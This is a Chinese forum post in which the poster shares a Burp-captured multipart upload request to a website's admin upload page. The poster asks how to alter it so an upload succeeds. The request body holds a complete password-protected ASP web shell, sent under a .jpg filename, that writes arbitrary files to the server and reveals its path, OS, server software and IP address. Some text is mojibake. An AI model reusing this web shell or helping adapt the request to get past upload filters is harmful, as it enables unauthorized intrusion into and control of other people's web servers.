TA的每日心情 | 难过 2017-9-9 10:24 |
---|
签到天数: 79 天 [LV.6]常住居民II
|
本帖最后由 旧旧 于 2015-11-1 18:00 编辑
用burp抓的包,但是filename=“”这边有点乱码了,不知道怎么办
还有一个问题就是这个数据包怎么修改才能正常上传
POST /admin/upfile_yqhy.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www. com/admin/picture_ymqy.asp
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Content-Type: multipart/form-data; boundary=---------------------------7df30d10101ae
Accept-Encoding: gzip, deflate
Host: www. com
Content-Length: 1520
Pragma: no-cache
Cookie: zh_choose=n; ASPSESSIONIDCQBARSQC=OEDBJOMCIIPMOJNCADCONEKP
-----------------------------7df30d10101ae
Content-Disposition: form-data; name="file1"; filename="E:\1¤??°üò?\??±????í\?£??′ó?ࣨasp ??±?£?\[ó?á|2???è¥]aspD??í\3.jpg"
Content-Type: text/plain
<%
on error resume next
%>
<%
if request("pass")="g" then '?ú?aDT???ü??
session("pw")="go"
end if
%>
<%if session("pw")<>"go" then %>
<%="<center><br><form action='' method='post'>"%>
<%="<input name='pass' type='password' size='10'> <input "%><%="type='submit' value='ó?á|2???è¥'></center>"%>
<%else%>
<%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
%>
<%="yes"%>
<%else%>
<%="no"%>
<%
end if
err.clear
end if
da.close
%>
<%set da=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%="μ±?°???t?·??:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="2ù×÷?μí3?a:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB·t???÷°?±??a:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="·t???÷μ?IP?a:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea name=da cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
<%end if%>
-----------------------------7df30d10101ae
Content-Disposition: form-data; name="B1"
é?′?
-----------------------------7df30d10101ae--
|
|